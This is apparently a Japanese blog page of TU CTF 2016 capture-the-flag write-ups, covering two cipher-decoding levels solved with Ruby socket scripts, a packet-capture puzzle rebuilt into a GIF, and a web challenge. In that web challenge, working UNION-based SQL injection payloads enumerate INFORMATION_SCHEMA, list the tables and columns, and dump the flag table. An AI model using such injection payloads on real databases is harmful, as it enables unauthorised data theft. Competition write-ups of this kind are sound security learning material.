2016年07月

TU CTF 2016 writeup The Neverending Crypto Level 2

The Neverending Crypto Level 2

10

Hope you remember 1984, because you are
about to go on a journey.

How many levels can you get to?

Good luck.

nc 146.148.102.236 24069

Level 2は、a~yの入力に対して、以下の通り、n~z{|}~と半角スペースに戻って'(シングルクォーテーション)に暗号化されます。zは'(シングルクォーテーション)の次の(に暗号化されると思われます。したがって、-(ハイフン)だけが以上のルールから外れますので半角スペースに対応する暗号化と思われます。
"------------------------------------------\n"
"You take the book\n"
"This is level 2 the attic\n"
"Round 1. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is nopqrstuvwxyz{|}~ !\"\#$%&'\n"
["n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "{", "|", "}", "~", " ", "!", "\"", "#", "$", "%", "&", "'"]
"What is z||{-puvyq decrypted?\n"

a b c d e f g h i j k l m n o p q r s t u v w x y z
n o p q r s t u v w x y z { | } ~   ! " # $ % & ' (

このルールをLevel 1で書いたRubyプログラムに追加します。
require "socket"

begin
  sock = TCPSocket.open("146.148.102.236", 24069)
rescue
  puts "TCPSocket.open failed : #$!\n"
else
  level = 1
    while sock.gets
      buf = $_
      p buf
      if buf.start_with?("This is level 1") or buf.include?("Correct!") then
        str = "abcdefghijklmnopqrstuvwxy"
        printf(str + "\n")
        sock.write(str + "\n")
        STDOUT.flush
      elsif buf.include?(" encrypted is ") then
        if level == 1 then
          ary = buf.split(" ")
        elsif level == 2 then
          buf = buf[buf.index("encrypted is ") + "encrypted is ".length, str.length]
          ary = buf.split("")
          p ary
        end
        #p ary
      elsif buf.start_with?("What is") then
        ans = ""
        if level == 1 then
          enc = buf.gsub(/\s\s\s/, " _ ").split(" ")
          #p enc
          for e in enc do
            if e == "What" or e == "is" or e == "decrypted?" then
              next
            elsif e == "_" then
              ans = ans + " "
            elsif ary.index(e) then
              ans = ans + str[ary.index(e) - 8].chr
            else
              ans = ans + "z"
            end
          end
        elsif level == 2 then
          buf.slice!("What is ")
          buf.slice!(" decrypted?\n")
          enc = buf.split("")
          p enc
          for e in enc do
            if ary.index(e) then
              ans = ans + str[ary.index(e)].chr
            elsif e == "-" then
              ans = ans + " "
            else
              ans = ans + "z"
            end
          end
        end
        printf(ans + "\n")
        sock.write(ans + "\n")
        STDOUT.flush
      elsif buf.start_with?("Round complete!") then
        level += 1
      else
      end
    end
  sock.close
end
実行すると、Level 2を50問解いた後にフラグが表示されます。
(略)
"------------------------------------------\n"
"You take the book\n"
"This is level 2 the attic\n"
"Round 1. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is nopqrstuvwxyz{|}~ !\"\#$%&'\n"
["n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "{", "|", "}", "~", " ", "!", "\"", "#", "$", "%", "&", "'"]
"What is z||{-puvyq decrypted?\n"
["z", "|", "|", "{", "-", "p", "u", "v", "y", "q"]
moon child
":Correct!\n"
(略)
"Round 50. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is nopqrstuvwxyz{|}~ !\"\#$%&'\n"
["n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "{", "|", "}", "~", " ", "!", "\"", "#", "$", "%", "&", "'"]
"What is %ryp|zr-n\" r'# decrypted?\n"
["%", "r", "y", "p", "|", "z", "r", "-", "n", "\"", " ", "r", "'", "#"]
welcome atreyu
":Correct!\n"
abcdefghijklmnopqrstuvwxy
"Round complete!\n"
"TUCTF{c4n_s0me0ne_turn_a_1ight_0n}\n"
フラグは、 
TUCTF{c4n_s0me0ne_turn_a_1ight_0n}

TU CTF 2016 writeup The Neverending Crypto Level 1

The Neverending Crypto Level 1

10

Hope you remember 1984, because you are
about to go on a journey.

How many levels can you get to?

Good luck.

nc 146.148.102.236 24069

ncコマンドで指定されたサーバに接続すると、次のように入力を求められます。何度か試したところ、25文字までの入力を受け付けるようです。
------------------------------------------
Welcome to The Neverending Crypto!
Quick, find Falkor and get through this!
This is level 1, the Bookstore

したがって、abcdefghijklmnopqrstuvwxy(a~yの25文字)を入力してみます。aが.-、bが-...という様に、モールス符号が返ってきます。そして、モールス符号で表された暗号文を復号するように入力を求められます。
abcdefghijklmnopqrstuvwxy
Round 1. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is .- -... -.-. -.. . ..-. --. .... .. .--- -.- .-.. -- -. --- .--. --.- .-. ... - ..- ...- .-- -..- -.-- 
What is ..   --- .-- .   -.-- --- ..-  decrypted?
 
これが何度も繰り返されますので、自動的に応答するプログラムをRubyで書きます。a~yに対応する符号を配列に保持しておき、半角スペースはそのまま半角スペース、これら以外をzに置き換えます。
require "socket"

begin
  sock = TCPSocket.open("146.148.102.236", 24069)
rescue
  puts "TCPSocket.open failed : #$!\n"
else
    while sock.gets
      buf = $_
      printf( buf )
      STDOUT.flush
      if buf.start_with?("This is level 1, the Bookstore") or buf.include?("Correct!") then
        str = "abcdefghijklmnopqrstuvwxy"
        printf(str + "\n")
        sock.write(str + "\n")
        STDOUT.flush
      elsif buf.include?(" encrypted is ") then
        ary = buf.split(" ")
        #p ary
      elsif buf.start_with?("What is") then
        enc = buf.gsub(/\s\s\s/, " _ ").split(" ")
        p enc
        ans = ""
        for e in enc do
          if e == "What" or e == "is" or e == "decrypted?" then
            next
          elsif e == "_" then
            ans = ans + " "
          elsif ary.index(e) then
            ans = ans + str[ary.index(e) - 8].chr
          else
            ans = ans + "z"
          end
        end
        printf(ans + "\n")
        sock.write(ans + "\n")
        STDOUT.flush
      else
      end
    end
  sock.close
end
このプログラムを実行すると、次のとおり50問解いた後にフラグが表示されます。その後、Level 2へ進みます。
------------------------------------------
Welcome to The Neverending Crypto!
Quick, find Falkor and get through this!
This is level 1, the Bookstore
abcdefghijklmnopqrstuvwxy
Round 1. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is .- -... -.-. -.. . ..-. --. .... .. .--- -.- .-.. -- -. --- .--. --.- .-. ... - ..- ...- .-- -..- -.-- 
What is ..   --- .-- .   -.-- --- ..-  decrypted?
["What", "is", "..", "_", "---", ".--", ".", "_", "-.--", "---", "..-", "decrypted?"]
i owe you
:Correct!
(略)
abcdefghijklmnopqrstuvwxy
Round 50. Give me some text:abcdefghijklmnopqrstuvwxy encrypted is .- -... -.-. -.. . ..-. --. .... .. .--- -.- .-.. -- -. --- .--. --.- .-. ... - ..- ...- .-- -..- -.-- 
What is --. .. .- -. -   - ..- .-. - .-.. .  decrypted?
["What", "is", "--.", "..", ".-", "-.", "-", "_", "-", "..-", ".-.", "-", ".-..", ".", "decrypted?"]
giant turtle
:Correct!
abcdefghijklmnopqrstuvwxy
Round complete!
TUCTF{i_wi11_n0t_5teal}
------------------------------------------
You take the book
This is level 2 the attic
フラグは、
TUCTF{i_wi11_n0t_5teal}
です。



TU CTF 2016 writeup The nack

The nack

100

Our IT staff captured this weird looking transaction.
Can you tell us what it says??

pcapngファイルをWiresharkで開きます。TCPストリーム0を表示してみます。
00000000  47 4f 41 54 01 47 49 46  38                        GOAT.GIF 8
次にTCPストリーム1を表示してみます。
00000000  47 4f 41 54 01 39 61 4e  02                        GOAT.9aN .
TCPストリーム2を表示してみます。
00000000  47 4f 41 54 01 e1 00 a1  00                        GOAT.... .
TCPストリーム3を表示してみます。
00000000  47 4f 41 54 01 00 ff ff  ff                        GOAT.... .
TCPストリーム4を表示してみます。
00000000  47 4f 41 54 01 00 00 00  ff                        GOAT.... .
以上を整理すると、次のとおり、GOAT.の後ろの4バイトがGIFのデータになっていることがわかります。
47 49 46 GIF
38 39 61 89a
4e 02 幅=590
e1 00 高さ=225
a1 
00 
00 
ff ff ff 00 00 00 ff 
それでは、GOAT.(47 4f 41 54 01)の次の4バイトを抽出してファイルに保存するPythonプログラムを書きます。
import re

filename = r'ce6e1a612a1da91648306ace0cf7151e6531abc9.pcapng'
with open(filename, 'rb') as f:
data = f.read()

i = 0
with open("aaa.gif", 'wb') as f:
while i >= 0:
i = data.find("GOAT\x01", i+5+4)
f.write(data[i+5:i+5+4])
作成されたファイルを開くと、次のようなアニメーションGIFファイルです。下図は1フレーム目の画像です。

1
 
順番にフレームを見てみると、17フレーム目にフラグがあります。

17

フラグは、 
TUCTF{this_transport_layer_is_a_syn}

TU CTF 2016 writeup Student Grades

Student Grades

50

We are trying to find out what our grade was, but we don't seem to be in the database...

Can you help us out?

http://104.199.151.39/index.html

問題で与えられているURLにアクセスすると、次のページが表示されます。

no title

このページのソースを確認すると、次のjavascriptのコードが書かれています。「Enter name」に入力された文字列とそのMD5ハッシュ値をスペースで連結してpostQuery.phpに渡しています。SQLインジェクションができそうです。
<script>
  document.getElementById('submit').addEventListener('click',
    function(event){
      event.preventDefault();
      var input = document.getElementById('info');
      //var query = 'SELECT * from Names where name=\'' + input.value + '\'';
      var inp_str = input.value;
      inp_str = inp_str.replace(/\W+/g, " ");
      var md5_str = md5(inp_str);
      var send_str = inp_str+' '+md5_str;
      var post_data = {name: send_str, submit:1};
      $.ajax({
          type: "POST",
          url: "http://104.199.151.39/postQuery.php",
          data: post_data,
          success: function(data){document.getElementById('results').innerHTML=data;}
      });
    }
  );
</script>
それでは、FiddlerでpostQuery.phpへのリクエストを「Replay」→「Reissue and Edit」します。まず、INFORMATION_SCHEMA.TABLESからテーブル名を取得します。次のSQL文字列を入力します。
aaa%' union select TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.TABLES;#
この文字列のMD5ハッシュ値は、
8af3dfe6be084a21939a49551f6463a3
です。したがって、下図のようにリクエストを作成します。

3

次のようなレスポンスが返ってきます。下2行に出力されているテーブルが怪しいですね。

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.TABLES;#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>information_schema</td><td>CHARACTER_SETS</td></tr>

<tr><td>information_schema</td><td>COLLATIONS</td></tr>

<tr><td>information_schema</td><td>COLLATION_CHARACTER_SET_APPLICABILITY</td></tr>

<tr><td>information_schema</td><td>COLUMNS</td></tr>

<tr><td>information_schema</td><td>COLUMN_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>ENGINES</td></tr>

<tr><td>information_schema</td><td>EVENTS</td></tr>

<tr><td>information_schema</td><td>FILES</td></tr>

<tr><td>information_schema</td><td>GLOBAL_STATUS</td></tr>

<tr><td>information_schema</td><td>GLOBAL_VARIABLES</td></tr>

<tr><td>information_schema</td><td>KEY_COLUMN_USAGE</td></tr>

<tr><td>information_schema</td><td>PARAMETERS</td></tr>

<tr><td>information_schema</td><td>PARTITIONS</td></tr>

<tr><td>information_schema</td><td>PLUGINS</td></tr>

<tr><td>information_schema</td><td>PROCESSLIST</td></tr>

<tr><td>information_schema</td><td>PROFILING</td></tr>

<tr><td>information_schema</td><td>REFERENTIAL_CONSTRAINTS</td></tr>

<tr><td>information_schema</td><td>ROUTINES</td></tr>

<tr><td>information_schema</td><td>SCHEMATA</td></tr>

<tr><td>information_schema</td><td>SCHEMA_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>SESSION_STATUS</td></tr>

<tr><td>information_schema</td><td>SESSION_VARIABLES</td></tr>

<tr><td>information_schema</td><td>STATISTICS</td></tr>

<tr><td>information_schema</td><td>TABLES</td></tr>

<tr><td>information_schema</td><td>TABLESPACES</td></tr>

<tr><td>information_schema</td><td>TABLE_CONSTRAINTS</td></tr>

<tr><td>information_schema</td><td>TABLE_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>TRIGGERS</td></tr>

<tr><td>information_schema</td><td>USER_PRIVILEGES</td></tr>

<tr><td>information_schema</td><td>VIEWS</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_PAGE</td></tr>

<tr><td>information_schema</td><td>INNODB_TRX</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_POOL_STATS</td></tr>

<tr><td>information_schema</td><td>INNODB_LOCK_WAITS</td></tr>

<tr><td>information_schema</td><td>INNODB_CMPMEM</td></tr>

<tr><td>information_schema</td><td>INNODB_CMP</td></tr>

<tr><td>information_schema</td><td>INNODB_LOCKS</td></tr>

<tr><td>information_schema</td><td>INNODB_CMPMEM_RESET</td></tr>

<tr><td>information_schema</td><td>INNODB_CMP_RESET</td></tr>

<tr><td>information_schema</td><td>INNODB_BUFFER_PAGE_LRU</td></tr>

<tr><td>tuctf</td><td>tuctf_grades</td></tr>

<tr><td>tuctf</td><td>tuctf_info</td></tr>

<tr><td>tuctf</td><td>tuctf_junk</td></tr>

次にtuctf_infoテーブル、tuctf_junkの列名を確認します。次のようにSQLインジェクションします。

4

次のようにレスポンスが返ってきます。

<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select TABLE_NAME,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME LIKE 'tuctf_%';#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>tuctf_grades</td><td>name</td></tr>

<tr><td>tuctf_grades</td><td>grade</td></tr>

<tr><td>tuctf_info</td><td>item</td></tr>

<tr><td>tuctf_info</td><td>value</td></tr>

<tr><td>tuctf_junk</td><td>item</td></tr>

<tr><td>tuctf_junk</td><td>owner</td></tr>

最後に、tuctf_infoテーブルの情報をとります。次のようにリクエストを投げます。

5

フラグを得ることができました。
<!--HI!--><!--Good auth!--><!--SELECT * FROM tuctf_grades WHERE name LIKE '%aaa%' union select * from tuctf_info;#%';--><tr><th>Name</th><th>Grade</th></tr><tr><td>flag</td><td>TUCTF{v4ccinate_y0ur_databa5e5}</td></tr>

フラグは、
TUCTF{v4ccinate_y0ur_databa5e5}
です。



記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー